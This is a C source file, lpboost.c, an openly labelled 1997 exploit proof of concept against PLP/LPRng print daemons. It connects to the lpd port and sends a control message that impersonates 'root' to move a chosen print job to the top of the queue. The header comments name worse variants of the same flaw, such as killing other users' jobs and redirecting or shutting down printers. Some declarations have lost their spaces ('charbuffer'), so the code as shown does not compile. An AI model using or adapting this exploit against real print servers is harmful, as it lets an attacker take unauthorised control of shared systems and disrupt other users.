/*
 * lpboost.c
 *
 * Simple  exploit  to  demonstrate  problem  with PLP/LPRng  user
 * `authentication': boost your print job's priority by moving  it
 * to the top of the queue.
 *
 * This is the most harmless exploit of this problem. More serious
 * ones  include circumvention  of the  accounting system, killing
 * other  users' jobs,  shutting down  printers, redirecting them,
 * etc.
 *
 * Copyright (C) 1997, Olaf Kirch <okir@lst.de>
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>

static int  doconnect(char *hostname);
static void dosend(int fd, unsigned char ch, char *string);

int
main(int argc, char **argv)
{
  charbuffer[8192];
  charhostbuf[256], *hostname = hostbuf;
  int fd;

  if (argc == 4)
    {
      hostname = argv[3];
    }
  else if (argc != 3)
    {
      fprintf(stderr, "usage: lpboost <printer> <job> [hostname]\n");
      exit(1);
    }
  else
    {
      /* If lpd.perms allows queue manipulation only from
       * the local host (SERVER keyword), must use FQDN
       * rather than localhost (127.0.0.1) */
      gethostname(hostbuf, sizeof(hostbuf));
    }

  if ((fd = doconnect(hostname)) < 0)
    {
      fprintf(stderr, "Failed to connect to %s: %s\n",
              hostname, strerror(errno));
      exit(1);
    }

  /* Assemble control message */
  sprintf(buffer, "%s %s topq %s %s",
          argv[1],/* printer */
          "root", /* user */
          argv[1],/* printer */
          argv[2]);   /* job # */

  /* Transmit control message and pick up status */
  dosend(fd, 6, buffer);

  exit (0);
}

static int
doconnect(char *hostname)
{
  struct hostent  *hp;
  struct sockaddr_in sin;
  int fd;

  if (!(hp = gethostbyname(hostname)))
    {
      fprintf(stderr, "%s: unknown host\n", hostname);
      exit(1);
    }

  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_addr = *(struct in_addr *) hp->h_addr;
  sin.sin_port = htons(515);

  if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    {
      perror("socket");
      exit(1);
    }
  if (connect(fd, (struct sockaddr *) &sin, sizeof(sin)) < 0)
    {
      perror("connect");
      exit(1);
    }

  return fd;
}

static void
dosend(int fd, unsigned char ch, char *string)
{
  charbuffer[256], cr = '\n';
  int slen = string? strlen(string) : 0;

  if (write(fd, &ch, 1) != 1 || (string && (write(fd, string, slen) != slen || write(fd, &cr, 1) != 1)))
    {
      perror("write");
      exit(1);
    }

  while ((slen = read(fd, buffer, sizeof(buffer)-1)) > 0)
    {
      buffer[slen] = '\0';
      fprintf(stderr, "lpd: %s\n", buffer);
    }
  if (slen == 0 || errno == EPIPE)
    return;
  perror("read (errmsg)");
  exit(1);
}
